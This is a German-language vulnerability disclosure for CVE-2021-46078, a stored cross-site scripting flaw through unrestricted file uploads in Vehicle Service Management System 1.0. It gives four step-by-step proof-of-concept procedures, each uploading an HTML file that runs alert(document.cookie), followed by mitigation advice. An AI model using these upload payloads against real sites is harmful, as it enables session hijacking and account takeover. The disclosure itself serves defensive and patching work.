CVE-2021-46078
Exploit Title: Vehicle Service Management System - 'Mehrere' Datei-Uploads führen zu Stored Cross-Site Scripting
CVE: CVE-2021-46078
CVSS: 4.8 MEDIUM
Referenzen:
Beschreibung:
Eine Einschränkungslose Datei-Upload-Sicherheitslücke existiert in Sourcecodester Vehicle Service Management System 1.0. Ein entfernter Angreifer kann bösartige Dateien hochladen, was zu einer Stored Cross-Site Scripting-Sicherheitslücke führt.
1. Vehicle Service Management System - 'MyAccount' (/admin/?page=user)
Exploit:
- Melden Sie sich im Admin-Panel an: http://localhost/vehicle_service/admin
- Navigieren Sie zum Bereich 'My Account': http://localhost/vehicle_service/admin/?page=user
Payload:
<!DOCTYPE html>
<html>
<title>Stored XSS</title>
<body>
<script>
alert(document.cookie);
</script>
</body>
</html>
- Speichern Sie den obigen HTML-Code z.B. als XSS.html
- Geben Sie im Abschnitt 'My Account' alle erforderlichen Details ein und wählen Sie die HTML-Datei unter 'Avatar' aus.
- Klicken Sie auf den Aktualisieren-Button.
- Öffnen Sie das Avatar-Bild in einem neuen Tab.
- Bösartiger JavaScript-Code wird ausgelöst.
2. Vehicle Service Management System - 'User List' (/admin/?page=user/manage_user)
Exploit:
- Melden Sie sich im Admin-Panel an: http://localhost/vehicle_service/admin
- Navigieren Sie zum Bereich 'User List' und klicken Sie auf 'Create New'.
Payload:
<!DOCTYPE html>
<html>
<title>Stored XSS</title>
<body>
<script>
alert(document.cookie);
</script>
</body>
</html>
- Speichern Sie den obigen HTML-Code z.B. als XSS.html
- Geben Sie auf der Seite 'Create New User' alle erforderlichen Details ein und wählen Sie die HTML-Datei unter 'Avatar' aus.
- Klicken Sie auf den Speichern-Button.
- Öffnen Sie das Avatar-Bild in einem neuen Tab.
- Bösartiger JavaScript-Code wird ausgelöst.
3. Vehicle Service Management System - 'Settings-System Logo' (/admin/?page=system_info)
Exploit:
- Melden Sie sich im Admin-Panel an: http://localhost/vehicle_service/admin
- Navigieren Sie zum Bereich 'Settings': http://localhost/vehicle_service/admin/?page=system_info
Payload:
<!DOCTYPE html>
<html>
<title>Stored XSS</title>
<body>
<script>
alert(document.cookie);
</script>
</body>
</html>
- Speichern Sie den obigen HTML-Code z.B. als XSS.html
- Geben Sie im Bereich 'Settings' alle erforderlichen Details ein und wählen Sie die HTML-Datei unter 'System Logo' aus.
- Klicken Sie auf den Aktualisieren-Button.
- Öffnen Sie das System-Logo-Bild in einem neuen Tab.
- Bösartiger JavaScript-Code wird ausgelöst.
4. Vehicle Service Management System - 'Settings-Website Cover' (/admin/?page=system_info)
Exploit:
- Melden Sie sich im Admin-Panel an: http://localhost/vehicle_service/admin
- Navigieren Sie zum Bereich 'Settings': http://localhost/vehicle_service/admin/?page=system_info
Payload:
<!DOCTYPE html>
<html>
<title>Stored XSS</title>
<body>
<script>
alert(document.cookie);
</script>
</body>
</html>
- Speichern Sie den obigen HTML-Code z.B. als XSS.html
- Geben Sie im Bereich 'Settings' alle erforderlichen Details ein und wählen Sie die HTML-Datei unter 'Website Cover' aus.
- Klicken Sie auf den Aktualisieren-Button.
- Öffnen Sie das Website-Cover-Bild in einem neuen Tab.
- Bösartiger JavaScript-Code wird ausgelöst.
Auswirkungen:
Ein Angreifer kann in mehreren Endpunkten bösartige Dateien hochladen, was zu einem gespeicherten Cross-Site Scripting führt.
Gegenmaßnahmen:
Es wird empfohlen, Folgendes zu implementieren:
- Akzeptieren Sie niemals einen Dateinamen und seine Erweiterung direkt ohne einen Whitelist-Filter.
- Falls keine Unicode-Zeichen erforderlich sind, wird dringend empfohlen, nur alphanumerische Zeichen und nur einen Punkt als Eingabe für den Dateinamen und die Erweiterung zu akzeptieren.
- Begrenzen Sie die Dateigröße auf einen Maximalwert, um Denial-of-Service-Angriffe zu verhindern.
- Das Upload-Verzeichnis sollte keine "Ausführen"-Berechtigung haben.
- Verlassen Sie sich nicht nur auf clientseitige Validierung.